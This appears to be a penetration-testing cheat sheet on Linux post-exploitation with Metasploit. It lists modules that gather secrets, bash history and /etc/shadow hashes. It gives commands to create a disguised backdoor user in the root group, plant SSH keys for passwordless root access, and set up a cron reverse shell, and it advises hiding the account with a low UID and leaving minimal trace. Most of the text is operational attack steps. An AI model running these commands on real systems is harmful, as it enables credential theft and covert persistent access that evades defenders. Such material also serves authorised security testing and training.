Linux post-exploitation and persistence

After landing a root-level Linux session, the gold standard for post-exploitation is to understand the environment, set up a way back in, and leave minimal trace.

Linux post-exploitation gather modules

All these modules require a SESSION.

Module	Purpose
post/linux/gather/enum_configs	common config files (/etc, web server configs, etc.)
post/multi/gather/env	environment variables that contain secrets
post/linux/gather/enum_network	interfaces, routes, arp cache, connections
post/linux/gather/enum_system	OS version, users, groups, sudo config
post/linux/gather/enum_users_history	bash_history, recently accessed files
post/linux/gather/checkcontainer	are we inside containers?
post/linux/gather/checkvm	are we in a virtual machine?
post/linux/gather/hashdump	/etc/shadow dump

Persistence through a backdoor user

useradd -m backdoor -s /bin/bash    # create a user with a home dir and bash shell
passwd backdoor                     # set a password
usermod -aG root backdoor           # add the user to the root group
usermod -u 15 backdoor              # optional: change the UID to a low number that looks like a service account

Persistence through an SSH key

# From an MSF session:
use post/linux/manage/sshkey_persistence
set CREATESSHFOLDER true
set SESSION <id>
run
# This creates SSH keypairs for every user and stores private keys as loot

loot                                  # find the saved private key path
# On attacker machine:
vim ssh_key
# paste the private key
chmod 0400 ssh_key
ssh -i ssh_key root@<target_ip>       # passwordless login going forward

Persistence through cron reverse shell

use exploit/linux/local/cron_persistence
set SESSION <id>
run

• When creating backdoor users, use usermod -u to assign a UID in the system service account range (under 1000 on most distros). This makes the account look like a service account.

Related

• Linux password hash dumping & cracking: what to do with the hashdump module’s output
• Linux privilege escalation via misconfigured cron jobs: the privesc technique behind cron_persistence’s mechanism
• Windows persistence: the Windows equivalent workflow
• Pivoting: reach isolated subnets through a compromised host: a next step once you have a stable foothold